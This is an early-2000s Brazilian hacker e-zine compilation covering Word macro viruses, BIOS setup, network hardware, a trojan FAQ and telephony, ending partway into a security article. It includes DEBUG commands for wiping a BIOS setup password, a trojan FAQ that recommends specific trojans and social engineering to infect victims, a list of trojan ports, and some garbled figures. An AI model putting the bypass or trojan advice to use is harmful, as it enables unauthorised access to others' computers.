=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Virus De Macro Nome de Macro Roda Autoexec Quando você inicia o Word AutoNew Quando você cria um novo Documento AutoOpen Quando você abre um Documento AutoClose Quando você fecha um Documento AutoExit Quando Você sai do Word Os Virus de macros são feitos para calsar danos em programas do Office criado pela Microsoft. Pelo menos eu nunca vi nenhuma queixa sobre o office XP ter a chance de ser infectado por algum macro antigo. Word for Windows armazena macros, tão bem como estilos, em modelos de documento (arquivos .DOT). Macros globais são armazenados no arquivo NORMAL.DOT. Como falado anteriormente, o Word apenas armazena macros em modelos de documentos. Você não pode acrescentar uma macro para um documento normal de Word (.DOC). Isso ajuda a eliminar a habilidade de se espalhar um DMV da fonte para outros documentos (o que pode dramaticamente aumentar a quantidade de documentos infectados). Entretanto, existe uma alternativa. Um modelo de Word .DOT é muito similar em formato a um arquivo .DOC. Os dois possuem a mesma aparência e funcionalidade quando aberto no Word. Para infectar outros documento, o DMV no NORMAL.DOT checa o documento para ver se ele já foi infectado com o macro. Se ele não foi, o macro salva o arquivo como um documento modelo. Isso faz com que apareça na parte de baixo da tela uma barra de salvamento (o que não é estranho, uma vez que muitos usuários usam a opção de Auto-Salvamento). Word agora trata o documento atual como um modelo, e o macro DMV no NORMAL.DOT pode copiar a si próprio para o documento atual. Extensões de arquivo são muito decepcionantes. Uma vez que enquanto que o documento possua uma extensão .DOC, ele pode ser um modelo. Quando o Word abre um documento, ele não liga qual a extensão que o arquivo tem. Ele le o arquivo e determina qual o formato a ser processado. A única pista que você pode ter é quando você escolhe o comando Salvar Como no menu Arquivo. Word tenta forçar você para salvar o modelo em um diretório padrão que contenha outros modelos de Word. Outra pista é quando o Word pergunta para você se você deseja salvar as modificações quando você fechar, mesmo que você não tenha editado o documento. Como software de plataformas-múltiplas geralmente trocam código comuns, parece que o DMV pode ser passado de uma plataforma para outra. Por exemplo, se um documento do Word for Windows está infectado, depois transferido para o Word para Macintosh então o DMV pode muito bem infectar a versão Mac do Word. Eu nunca testei isso ainda, mas isso pode ser um acontecimento provável. Como falado anteriormente, esse não é um problema exclusivo para o Word for Windows (pesquisas indicam que o Excel tem muitas mais vulnerabilidades ou de produtos feitos pela Microsoft. Macros automáticas tem se tornado muito populares entre uma variedade de software-houses. Removendo vírus de Word Remover vírus de Word (DMV) é relativamente fácil. Primeiro rode o Word, depois: · Se um arquivo infectado está aberto, então escolha o comando Macro do menu Utilitários. Apague todas as macros do arquivo aberto e do NORMAL.DOT. · Se nenhum documento está aberto, escolha o comando Macro do menu Arquivo. Apague todos os macro de NORMAL.DOT. PROTEGENDO-SE CONTRO DMS'S DO WORD Qualquer macro automática pode ser facilmente detectada escolhendo-se a opção Macro no menu utilitários. Uma macro suspeita pode ser examinada ou deletada (com sorte, antes que ela se execute, senão...). A Microsoft fornece dois métodos de desabilitar macros automáticas no Word. Extraído do documento Q96565 no Banco de Dados de suporte para produtos Microsoft: Também há o modo de você ir no Menu INICIAR/LOCALIZAR/ARQUIVO OU PASTAS e digitar normal.dot , após achar ele o delete e depois reinicie o windows. Isto será bem provavel que você tenha conseguido extrair o virus caso não entre em contato comigo... Tutorial Desenvolvido por _LiNe_SkOFF_ #motd da rede Brasnet Obs: Nunca testei estes métodos no Office XP, pois eu não afirmo que isto funcione nele... Mais não Custa nada tentar. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 17 ]=-=[ Hardware ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Hardware - SETUP RedEyes A ROM BIOS, é a responsável pelo boot da maquina, e nela existem dois firmwares determinados pelo fabricante e que ficam residentes nos chips, BIOS (Basic Input Output System - Sistema Básico de entrada e saída) responsável pela comunicação entre os dispositivos conectados à placa mãe e o POST (Power On Self Test) um auto teste de inicialização que testa os dispositivos mais importantes do sistema. Ex.: Memória RAM, HD, Floppy, etc. E nela existem configurações que podem ser alteradas pelo usuário, para configurar e melhorar o desempenho da maquina. Lembrando que essas alterações só devem ser feitas se você conhece muito bem a mesma, por que qualquer alteração mal feita, certamente causara desde travamento na inicialização e mal funcionamento dos drivers, até a perda de dados no HD. Obs.: Já ouviram falar de (B)icho (I)gnorante (O)perando (S)istema?! haha Deixando meu infame humor de lado, voltemos ao assunto. Como essa memória precisa ser livre para modificações, não pode estar alojada numa memória ROM, e também em nenhum outro dispositivo, como o HD, porque elas também precisam ser configuradas no Setup. Dai você me pergunta: Aonde diabos fica então essa bagaça?!!? E eu respondo: Elementar velhinho amigo! Ele esta ali bem escondido, alojado em uma memória de baixa capacidade, que é capaz de funfar com o mínimo de energia possível. Ela utiliza uma estrutura especial de semicondutores chamados de CMOS ( Complementary Metal-Oxide Semicondutor) Semicondutor de Óxido - Metal Complementar, e é alimentado apenas por uma bateria facilmente localizada na placa mãe. Enfim tudo isso pra falar do "SETUP". Que é a área de configuração, e é bem aonde eu queria chegar, de todo o bla-bla-bla é aqui que a coisa começa a interessar. Como existem muitos fabricantes de Setup por ai, fica impossível eu falar sobre todos, então resolvi falar dos itens de configuração mais comuns entre diferentes modelos. Ta OK velhinho?! Como todo mundo sabe, e se não sabe ta na hora de saber, o Setup aparece quando você pressiona a tecla “delete" na inicialização da maquina. Segue um exemplo da tela que deverá aparecer (lembrando que o layout muda também de fabricante para fabricante e que eu não sou muito bom com word então ficou uma tabela bem tosca como exemplo haha... mas o que interessa são os itens velhinho então vamos lá). MARCA DO FABRICANTE – VERSÃO Standard CMOS Setup Load Setup Defaults Advanced Setup Save & Exit Setup Power Management Exit Without Saving PCI / PnP Setup Features Setup IDE HDD Autodetection Password Setting Para navegar entre os itens usa-se as teclas de navegação !!dã!!... essas setas que tem ai no teclado rapaz, pra cima, pra baixo, pro lado, pro outro e tal. Para selecionar o item use “Enter”, e para modificar as opções use “Page Up” ou “Page Down”. Standard CMOS Setup É o primeiro item, e como o nome diz, responsável pelas configurações básicas do Setup. Entre elas: Data e Hora; Configuração do HD - Configuração do Floppy; Configuração de Vídeo; Detecção de Erros. Data e Hora – Aonde configuramos o “Relógio” do bicho. Obs.: Também pode ser feita pelo Sist. Oper. Hard Disk – É aonde reconhecemos o(s) disco(s) rígido(s) do computador. Onde: TYPE – Reconhece o disco – as seguintes opções de TYPE significam: NONE -> Ausência de HD ou o mesmo não foi habilitado. AUTO -> Reconhece o HD sempre que o computador for iniciado. USER -> Configurações definidas pelo usuário. Advanced Setup Boot Sequence: A seqüência de dispositivos em que o BIOS irá procurar os arquivos de inicialização. Quick Power on Self Test: Acelera os testes de dispositivos antes de carregar o sistema. PS/2 Mouse Support: Habilita ou desabilita a porta PS/2 do mouse. Internal Cache: Habilita ou desabilita o uso da L1 External Cache: habilita ou desabilita o uso da L2. OS select For DRAM > 64 Mb: Habilite essa opção somente se você possui um OS2 instalado, porque ele gerência mais de 64Mb de memória de forma diferente. Boot Up Floppy Seek: habilitado faz um teste de movimentação da cabeça de leitura/escrita do disquete na inicialização. (perda de tempo na minha opinião). Security Option: Determina para qual item será requisitada uma senha. “SYSTEM” ou “SETUP”. Power Management Setup Esse item gerência a energia dos dispositivos, por exemplo, você pode configurar o sistema para desligar o HD quando ele ficar certo tempo inativo. O mesmo pode ser feito com o monitor. Mas tudo isso pode ser feito pelo Ruindows também com o seu utilitário de gerenciamento de energia. PCI / PnP Setup Configura o sistema para reconhecer a tecnologia Plug and Play. A opção “Resources controled By” deve ficar com o valor “auto”, isso evita que você tenha que configurar slot por slot. Features Setup Aqui você configura as portas que controlam os dispositivos IDE (primária e secundária), Onboard FDD Controller que é o driver do disquete onboard que deve sempre estar habilitado, as portas paralela e serial e as portas USB entre outros. OnChip IDE First Channel OnChip IDE Second Channel Estas duas opções devem estar sempre ativadas, porque permitem que o chipset da placa mãe controle as portas IDE primária e secundária. IDE Primary Master PIO IDE Primary Slave PIO IDE Secondary Master PIO IDE Secondary Slave PIO Você deve configurar essas opções de acordo com os HDs instalados, cada uma representa uma posição lógica do HD. Se um dos HDs trabalhar no modo PIO (programação de entrada e saída) você pode determinar para qual modo ele foi fabricado (MODE 0 – mais antigo e MODE 4 mais novo e mais rápido). As seguintes opções só devem ser alteradas se você tiver um conhecimento avançado sobre seus dispositivos, caso contrário, deixe esta opção em “auto”. Onboard FDD Controller: Controladora do driver de disquete onboard – sempre habilitada. Onboard Serial Port 1: Configuração da porta serial 1, (COM1, 3F8H,IRQ 4) Onboard Serial Port 2: Configuração da porta serial 2, (COM2, 2F8H, IRQ 3) Onboard Paralel Port: Configuração da porta paralela, (LPT1, 378H, IRQ 7) Onboard Paralel Port Mode: As impressoras e os scanners trabalham melhor na configuração ECP, EPP. IDE HDD Autodetection Esse item é usado para detectar automaticamente os Hds instalados no micro. Password Setting Aqui você insere uma senha que será cobrada na inicialização do micro (caso a opção de Securyt Option estiver em SYSTEM) ou quando alguém for entrar no Setup (caso a opção do Securyt Option estiver em SETUP). Load Default Setup Recupera as opções padrão. Save and Exit Setup Salva suas alterações e reinicia o sistema. Exit Without Saving Sai do setup sem salvar as alterações. Como retirar a senha do Setup? Elementar meu caro velhinho, existem duas maneiras e ambas são simples. Uma delas é usando o DEBUG do DOS, no prompt digite: C:\> DEBUG [pressione enter] 0 70 2e [enter] 0 71 ff [enter] q [enter] Agora é só resetar a maquina que vai dar para entrar no setup tranquilis. Agora isso só funciona se a senha estiver no Setup, se for para o sistema, não adianta. Então você vai ter procurar um jumper na placa mãe nomeado “Clear CMOS” ou “EXIT BAT” (Veja no manual da placa mãe). Daí você altera o jumper da posição 1-2 para 2-3 e espera uns 10 segundos antes de voltar para a 1-2. Pronto. Você acaba de resetar a CMOS e nada mais de senhas para atrapalhar. É claro que não é só isso que podemos falar sobre setup, não pare por aqui, um bom guia de consulta é o próprio manual da sua placa mãe. Lá você vai encontrar todos os detalhes (ou quase todos ) sobre cada item do seu setup. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 18 ]=-=[ Básico sobre Redes ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= :::...Apresentacao. Não leia este txt com intuito de se tornar um expert em redes de computadores, se esse for o seu objetivo depois naum saia por aih dizendo: pohh...li um txt aih,,,mas non aprendi nada...!!!Eh claro vc ja devia saber o q estava contido lah neh :) Esse eh meu primeiro txt, achei bem legal faze-lo sobre um tema bem interessante que serve para muitas coisas e q tambem estah ao meu alcance. Abordarie o tema do txt em partes, começarei com a parte estruturada da rede, com os componetes(Hardware), depois em outra oportunidade falarei sobre tcp/ip e afins. Prometo dar continuidade a txt, ficaria muito agradecido se pudessem fazer comentarios por e-mail ou pelo irc , pois assim passaria a dar mais qualidade ao assunto e faze-lo de forma mais 'interesante'. :::...Topicos. - Hardware de Rede :::...Hardware de Rede. Talvez esse topico seja de muita importancia por q aki vc poderah encontrar informacoes q vaum ser vitais para o aprendizado de varias outras coisas, serah de tamanha importancia o entendimento dessa parte para o entendimento do TCP/IP (na minha opiniao). Quando falamos em redes hj lembramos de grandes redes, como a propria internet, ou talvez vc vicado em jogos em rede lembre daquela redezinha lah do shopping onde vc joga CounterStriker, para ambas as redes funcionarem eh muito importante q quem as criou tenho usado de bom entendimento e usado bons equipamentos senão sua conexao ficaria muito lenta e seu jogo no shopping um saco, entre os equipamentos necessarios para um bom funcionamento da rede, pretendo abordar de um a um, estao: - Terminais (Pcs) - Cabos - HUBs - Switches - Roteadores Acho q saum soh esses mesmos no caso de uma rede basica(com certeza em grandes redes existem equipamentos q eu nem conheco). * Terminais - com certeza no tem nem muito o q comentar sobre esse componente da rede, terminais dos mais variados tipos podem estar conectados em uma rede, naum importa o tipo do Pc, processador ou quantidade de memoria, ele poderah ser conectado a rede contando q ele tenha uma placa de rede PCI,ISA, ou modelos mais modernos q ligam redes sem fios(nunca nem peguei num desses)e q esteja devidamente configurado(software) para funcionar na rede. * Cabos - muita gente, inclusive eu, fazia do universo dos cabos um misterio, existem varias opcoes de cabeamento de uma rede, irei abordar alguns tipos de topologias ou tipo de ligacoes de redes em outra oportunidade, vc pode usar os velhos cabos coaxiais q saum aqueles cabos redondos q ligam a Tv a cabo ou vc pode usar os famosos par trançado(azuzinho), naum obordarei o uso dos coaxiais por q eles jah estao em total desuso, o par trançado usa conectores RJ45 para fazer as ligacoes dos terminais, cuidado pois muita gente confunde par trançado com RJ45, par trançado eh o tipo de cabo e RJ45 eh o conector. O cabo par trançado tambem eh muito utilizado na telefonia, por ser muito flexivel e de facil manuseio. Existem algumas limitacoes no uso desse tipo de cabo, como a distancia maxima de 100M, mas a facilidade no seu uso excede isso. Existem duas maneira de se conectar um computador a uma rede com esse tipo de cabo, podemos liga-lo no Pc e depois a um centralizador(HUB,Switches), ou de um Pc ao outro, sendo q as maneiras de criparmos(colocar o conector no cabo) os fios no cabo serao diferentes, existe um padrao chamado `furukawa` ou T586A, q eh o mais utilizado na crimpagem dos cabos, pois esse padrao eh feito para ligarmos terminais ao centralizador, existe ainda outro q eh muito conhecido pelos manus por aih,,pois falta grana pra comprar um HUB, eh o CrossOver(T586B) q nesse padrao de crimpagem non eh preciso o uso de um centralizador para interligar os terminais, mas infelizmente soh se pode usar 2 Pcs pois soh havera um cabo, se quiser acrescentar mas um terminal teria q por mais uma placa de rede no pc(non aconselho isso, dah sempre conflito), valhe a pena salientar q a crimpagem dos cabos non passa da ordenacao dos fios do cabo no conector, depois posso falar mais sobre isso. Com certeza existem outros tipos de cabos por aih, como a fibra optica mas non irei falar pois non sei nada sobre. * HUBS - com certeza em redes simples esse centralizador eh muito utilizado, ele eh disposito eletronico q serve para fazer uma cadeia de cabos par trançado, e respectivamente unir todos os terminais q estao ligados a esses cabos, muitos pensam q os HUBs saum componetes burros numa rede ou q soh servem pra interligar os terminais, mas na atualidade existem HUBs q fazem um pouco mais q interligar, eh atuam como pontes para outras partes da rede, filtram dados, amplificam o sinal controlam o trafego e etc, com certeza o uso deles eh muito popular em pequenas redes pelo mais ou menos baixo custo, cerca de 80 pilas, eh muito importante tambem atencao na taxa de trafego do HUB se eh compativel com as das placas de redes, q eh 10Mbps ou 100Mbps, existem alguns q trabalham com os 2, vale salientar q se vc tiver um HUB de 100Mbps e uma placa de 10Mbps sua rede caira para 10Mbps. O HUB por ser um dispositivo meu rude, ao vc enviar um pacote para deterinado terminal ao passar pelo HUB ele envia esse pacote a todos na rede, mas soh eh lido por quem o interessa. * Switches - esses se assemelham muito aos HUBs, tambem saum centralizadores numa rede, mas oferecem uma gama enorme de opcoes de trafego gerenciamento, podem suportar apenas alguns terminais ou ateh mesmos redes enormes inteiras, olhando a olho nuh pode-se confundir um switch com um HUB, mas internamente eles saum bem diferentes, o switch pode determinar a quem na sua rede o pacote deverah ser entregue, ao enviar um pacote na rede o switch solicita informacoes q irão fazer com q o pacote seja entregue unicamente ao seu destinatario, naum causando q outros terminais tambem recebam o pacote mas a frente vou explicar um pouco mais sobre isso(bem interesante), eles tambem oferecem uma interface com o usuario facilitando a sua configuracao, com um switch na mao podemos dizer q se pode fazer realmente uma festinha na rede, pode-se criar VLans(redes virtuais) dividindo-se o switch ao meio(software), entre outras coisas q fazem dele um componente mais do q importante em uma rede o estudo do mesmo eh muito importante pros condidatos a fucadores de plantao (como eu):). * Roteadores - tah aih uma coisinha q tambem chama muito a atencao da galera, como o proprio nome diz `roteador`,faz as rotas, ele serve como um guarda de transito da rede, eh nele q se faz a comunicaco entre 2 redes bem distintas, nele eh autorizada a entrada e saida de dados q naum fazem parte da rede, tambem eh um componete gerenciavel e com interface ao administrador, os roteadores possuem sistemas operacionais proprios q trabalham muito numa grande rede, com certeza em redes do governo e grande empresas existem muitos roteadores pois o trafego das mesmas exige um gerenciamento fora do local da rede, o topic `roteadores` eh muito abrangente levaria horas pra explicar o processo de roteamento, se consegui-se explicar. ::::...That's all Folks Fico por aki com saudades de Pasárgada! Continua no proximo episodio. Abraços a coracaodeleao, inferninh0, bynaryus e todos q me tem no coracao:)hehe =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 19 ]=-=[ FAQ - Trojan ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= O que sao trojans? ^^^^^^^^^^^^^^^^^^ Sao programas que quando introduzidos no computador da vitima, permitem ao atacante executar comandos remotamente no PC da vitima. Como eles trabalham? ^^^^^^^^^^^^^^^^^^^^ O modo como os trojans trabalham eh conexao cliente/servidor. E esta conexao que faz com que o atacante posso ter o controle da maquina da vitima. Esta conexao ocorre da seguinte forma, o trojan eh composto por sua parte cliente e outra parte que damos o nome de servidor ou server. O que eh conexao cliente/servidor? ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Como dito acima, e este tipo de conexao a utilizada pelo trojan, independente de qual for o trojan. O cliente e o responsavel pela execuçao dos comandos no server, o qual devera estar instalado no computador da vitima. Quando a vitima e infectada com o server, este server abri uma porta no PC da mesma, e eh atraves dessa porta aberta que o cliente se comunicará com o servidor. Como infectar a vitima? ^^^^^^^^^^^^^^^^^^^^^^^ Ta mais do que na cara, de que para se infectar o PC de alguem vc vai precisar da nossa querida engenharia social. Através dela vc vai consegui fazer com que a vitima se torne a principal culpada pelo ataque. Como se previnir? ^^^^^^^^^^^^^^^^^ Nunca aceite nenhum arquivos suspeito, principalmente arquivos com extensoes .exe, pelo justo fato de a maioria dos servers possuirem esta extençao. Eh claro que tem excesoes, como o server do NST (Ninja Spy Trojan) onde a extensao eh .scr. Sempre mantenha seu computador em dia com relaçao a virus,e se possivel pegue o Xô Bobus, o melhor em detectaçao e prevençao contra trojans na minha opiniao, ou qualquer outro anti-trojan. Trojans mais conhecidos: ^^^^^^^^^^^^^^^^^^^^^^^^ --->>> Back Oriffice --->>> NetBus --->>> Wincrash --->>> NST(Ninja Spy Trojan) --->>> Subseven OBS.: Na minha opniao o NetBus eh o trojan mais podre da face da Terra, ate minha vo seria capaz de invadir com ele. Minha dica pra quem quise um trojan bom e o NST e Wincrash, isso na minha opniao. ############################################################################### Relaçao de portas com seus respectivos trojans: Abaixo está a lista das portas-padrão utilizadas pelos trojans mais conhecidos para Windows NT, 95, 98: Porta 21 - Blade Runner, Doly Trojan, Fore, Invisible FTP, WebEx, WinCrash Porta 23 - Tiny Telnet Server Porta 25 - Antigen, Email Password Sender, Haebu Coceda, Terminator, Shtrilitz Stealth,etc Porta 31 - Hackers Paradise, Master's Paradise 8 Porta 121 - BO jammerkillahV Porta 456 - Hackers Paradise Porta 555 - Ini-Killer, Phase Zero, Stealth Spy Porta 666 - Satanz Backdoor, Attack FTP Porta 1001 - Silencer, WebEx Porta 1011 - Doly Trojan Porta 1033 - NetSpy Porta 1080 - Wingate (Socks-Proxy) Porta 1170 - Psyber Stream Server, Voice, Streaming Audio Trojan Porta 1234 - Ultors Trojan Porta 1243 - SubSeven Porta 1245 - VooDoo Doll Porta 1492 - FTP99CMP Porta 1509 - Psyber Streaming Server Porta 1600 - Shivka-Burka Porta 1807 - SpySender Porta 1981 - Shockrave Porta 1999 - BackDoor Porta 2001 - Trojan Cow Porta 2023 - Ripper Porta 2115 - Bugs Porta 2140 - Deep Throat, The Invasor Porta 2565 - Striker Porta 2583 - WinCrash 2.0 Porta 2801 - Phineas Phucker Porta 3024 - WinCrash Porta 3129 - Masters Paradise Porta 3150 - Deep Throat, The Invasor Porta 3700 - Portal of Doom Porta 4590 - ICQTrojan Porta 4950 - IcqTrojen Porta 5000 - Sockets de Troie Porta 5001 - Sockets de Troie Porta 5321 - Firehotcker Porta 5400 - Blade Runner Porta 5401 - Blade Runner Porta 5402 - Blade Runner Porta 5569 - Robo-Hack Porta 5742 - WinCrash Porta 6400 - The tHing Porta 6670 - DeepThroat Porta 6771 - DeepThroat Porta 6883 - DeltaSource Porta 6939 - Indoctrination Porta 6969 - GateCrasher, Priority Porta 7000 - Remote Grab Porta 7300 - NetMonitor Porta 7301 - NetMonitor Porta 7306 - NetMonitor Porta 7307 - NetMonitor Porta 7308 - NetMonitor Porta 7789 - ICKiller Porta 9872 - Portal of Doom Porta 9873 - Portal of Doom Porta 9874 - Portal of Doom Porta 9875 - Portal of Doom Porta 9989 - iNi-Killer Porta 10067 - Portal of Doom Porta 10167 - Portal of Doom Porta 11000 - Senna Spy Porta 11223 - Progenic trojan Porta 12223 - Hack´99 KeyLogger Porta 12345 - GabanBus, NetBus Porta 12346 - GabanBus, NetBus Porta 12361 - Whack-a-mole Porta 12362 - Whack-a-mole Porta 16969 - Priority Porta 20001 - Millennium Porta 20034 - NetBus 2 Pro, NetRex Pro Porta 21544 - GirlFriend Porta 22222 - Prosiak 0.47 Porta 23456 - Evil FTP, Ugly FTP, WhackJob Porta 26274 - Delta Porta 30029 - AOLTrojan1.1 Porta 30100 - NetSphere Porta 30303 - Sockets de Troie 2.5 Porta 30999 - Kuang Porta 31337 - Back Orifice Porta 31338 - Back Orifice, DeepBO Porta 31339 - NetSpy DK Porta 31666 - BOWhack Porta 31787 - Hack'a'tack Porta 33333 - Prosiak Porta 34324 - BigGluck, TN, Tiny Telnet Server Porta 40412 - The Spy Porta 40421 - Master's Paradise Porta 40422 - Master's Paradise Porta 40423 - Master's Paradise Porta 40426 - Master's Paradise Porta 47262 - Delta Porta 50505 - Sockets de Troie Porta 50766 - Fore Porta 53001 - Remote Windows Shutdown Porta 61466 - Telecommando Porta 65000 - Devil ############################################################################### LISTA PEGA DO SITE WWW.PROJACK.CJB.NET!!! Nota final Espero que tenha gostado do txt. Eu sei que ta bem simples mas eh isso mesmo. Qquer duvida soh me da um toque, eu to sempre nos canais #motd #DMA #phreak (irc.brasnet.org), e tbm podem me manda um e-mail, principalmente as mulheres, hehehe =] d4rwin@bol.com.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 20 ]=-=[ Telefonia ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ========================= # Telefonia # ======================= ========================================= = HazzarD -> hazzard@itelefonica.com.br = ========================================= =========================================================== = # 1- Introdução a Telefonia = = # 2- História = = # 3- Estrutura = = # 4- Comutação = = # 5- Transmissão = = # 6- Energia = = # 7- Telefonia Móvel = = # 8- Redes = = # 9- Finalizando = =========================================================== # 1- Introdução =============== Por Telecomunicações, entende-se a ciência e a técnica de transmissão à distancia, usando-se recursos baseados em fenômenos elétromagnéticos. São ramos das telecomunicações: telegrafia( transmissão da palavra escrita), telefonia( transmissão da palavra falada), televisão ( transmissão da imagem), telefoto ( transmissão da imagem fixa) e o ramo mais novo, o teleprocessamento, que pode ser definido como uma forma de manipulação da informação ou transmissão de dados. # 2- História ============== Os primeiros sistemas de telecomunicações tiveram aplicações em telegrafia. Foi no ano de 1753 que surgiu o 1º sistema telegrafico. Era constituído de um gerador de alta tensão localizado numas deas extremidades da conexão e na outra ponta existiam diversos terminais em que cada um era representado por uam letra. Assim, se por exemplo fosse transmitir a letra "A" aplicava-se uma tensão nesse terminal. Esse terminal possuia um eletrodo que atraia um pedaço de papel com a letra "A". Assim as palavras poderiam ser transmitidas dessa maneira. Esquema simplificado para melhor entendimento: Gerador -------------------------------------|eletrodo -> papel com letra "A" |eletrodo -> Papel com letra "B" |eletrodo -> Papel com letra "C" |eletrodo -> Papel com letra "D" e por aí vai... Com o passar do tempo cada vez mais a tecnologia foi sendo desenvolvida até que em 1876, Grahan Bell desenvolve um aparelho que poderia transmitor sons. A primeira estação de telefonia foi inaugurada em 1879, em Connecticut, EUA. No Brasil, o primero telefone instalado foi na loja de aparelhos elétricos e mecânicos "O Grande Mágico", no Rio de Janeiro, em 1877. # 3- Estrutura =============== Embratel ---------- | Companhias de telefonia fixa e movel ------------------------------------- | Rede Telefônica local ------------------------- | Distrubuidor geral regional ----------------------------- | Sua linha telefônica ---------------------- * Ligações locais -> utiliza-se somente o distribuidor geral * Ligações Interurbanas -> Distribuidor geral e rede telefônica local * Ligações Internacionais -> Distribuidor geral, rede telefônica local e Embratel Obs1: vale também para telefonia movel Obs2: todas as ligações saõ feitas por alguma companhia de telefonia movel ou fixa # 4- Comutação =============== Equipamentos necessários à seleção e conexão do caminho que possibilita a comunicação entre usuários quaisquer( os comutadores funcionam como roteadores, ou seja, escolhem o melhor caminho de um usuário ao outro). O Comutador compreende os caminhos para o estabelecimento das conversações telefonicas. É uma unidade passiva e serve apenas para o transporte de sinais(dados). A Unidade de Controle(UC) compreende o que podemos chamar de funções inteligentes da central. É a parte ativa da central, ou seja, recebe e analisa as informações, encaminha e aciona o comutador. # 5- Transmissão ================ Conjunto de equipamentos e linhas físicas(OU NÃO) definem uma transmissão. Exemplos de transmissões: * Cabo Coaxial Linha 1 ---> CT UL ---> -------- cabo coaxial --------> CT UL ----> Linha 2 CT = Central Telefonica UL = Unidade Local * Enlace de Radio SHF Linha 1 -> CT UL -> CT UI -> ETT -> microondas -> ETT -> CT UI -> CT UL -> Linha 2 ETT = Estação de Torre e Transmissão UI = Unidade Interurnaba * Satélites Linha 1 --> CT UL --> CT UI -> ETT -> --- microondas ---> ETT --> CTD | | | Satélite | | | Linha 2 <-- CT UL <-- CT UI <- ETT <--- microondas --- <-- ETT <-- CTD CTD = Central de Transmissão Digital # 6- Energia ============= Equipamentos necessários para alimentar elétricamente as partes que compoem o sistema: * Substação = Provedora da energia elétrica * Sala de Bateria = Possui fontes de bateria para a alimentação dos Comutadores * Fontes de Radio e UC = Alimentação para a Unidade Central e RadioTransmissão # 7- Sistemas de Telefonia Movel ================================ Hoje em dia, a Telefonia utiliza um canal para transmissão e outro para recepção, denomidado modo Full-Duplex. Cada canal possui 33 faixas que operam na frequência de 800 a quase 1000 Mhz, variando de acordo com celular e operadora. Cada torre cobre uma area de raio 80 Km (Aproximadamente 20000 Km) # 8 - Redes de Telefonia ======================== As redes são os tipos de ligações entre as linhas telefônicas * Rede de Malha Cada linha esta ligada com todas as outras linhas. Esse tipo de rede é pouco utilizada hoje em dia. ex: A--------B | \ / | | \ / | | \/ | | /\ | | / \ | C-/----\-D Para calcular o numero de linhas nesse tipo de rede utiliza-se a fórmula * L=n(n-1)/2 * L -> numero de linhas N= numero de pontas (ex: A,B,C,D) * Rede Radial Todas as linhas são ligados á uma mesa operadora, que fazem a correta distrubuição das ligações ex: A B C \ | / \ | / \ | / \|/ # * Rede de Assinantes A rede de assinates é bem complexa, formada por equipamentos destinados à interligar todas as linhas à Central Telefonica local. Componentes: Distribuidr Geral(DG) : Todas as linhas de uma CTL( central telefonica local) são ligadas a um DG. Os DGs podem ter dimensões realmente grandes, podendo chegar a 30 metros de comprimento por 5 metros de altura. Qualquer perturbação elétrica é percebida pelo DG e é rapidamente reparada, graças ao seus dispositivos de proteção. Também está no DG o dispositivo que permite desconectar assinates, caso o mesmo pessa cancelamento ou ocorra o não pagamento. Cada DG pode suportar centenas ou milahres de assinantes, dependendo de sua capacidade. Tunel de cabos(subterrania), redes primarias, redes secundarias e redes terciárias são utilizadas para interligar os DGs e são chamadas de Rede de Cabos Troncos ex: Linha1 --------- DG ---------#----------- DG ---- linha 2 | | | | linha 3 -------- DG ----------- linha 4 # Cabos Troncos # 9- Finalizando ================ Espero que este artigo sobre telefonia tenha ajudad você a reconhecer os sistemas de telefonia utilizada nos dias de hoje. Não quis entrar em detalhes sobre telefonia Movel porque o existe uma grande quantidade de textos sobre isso na internet. Futuramente estarei escrevendo um texto sobre Montagem e Manutenção de PABX e outro sobre Trasmissão Digital. Eles não foram colocados juntos com esse texto por falta de tempo. Obrigado pela atenção !!! Duvidas? hazzard@itelefonica.com.br Atenciosamente HazzarD 11/10/2003 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 21 ]=-=[ Segurança Digital ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= |=--------------------------=[ InfosHack InSecurity ]=----------------------=| |=--------------------------------------------------------------------------=| |=---------------------------=[ Segurança Digital ]=------------------------=| |=--------------------------------------------------------------------------=| |=-------------=[ by Inferninho ]=-------------=| Se vc anda preocupado com sua segurança na Internet aqui vão algumas dicas de como diminuir brechas no I.E. , como usar proxy para esconder seu IP e de como fechar as portas do seu Linux, ai vc vira pra mim e diz dãããããã como se eu naum soubesse fazer isso, e dai eu digo, bom pra vc, mais tem quem naum sabe mané !! E de quebra algumas falhas no I.E. que um WebMaster mal intecionado pode explorar (Eu juro que nunca fiz isso). Pode até ser 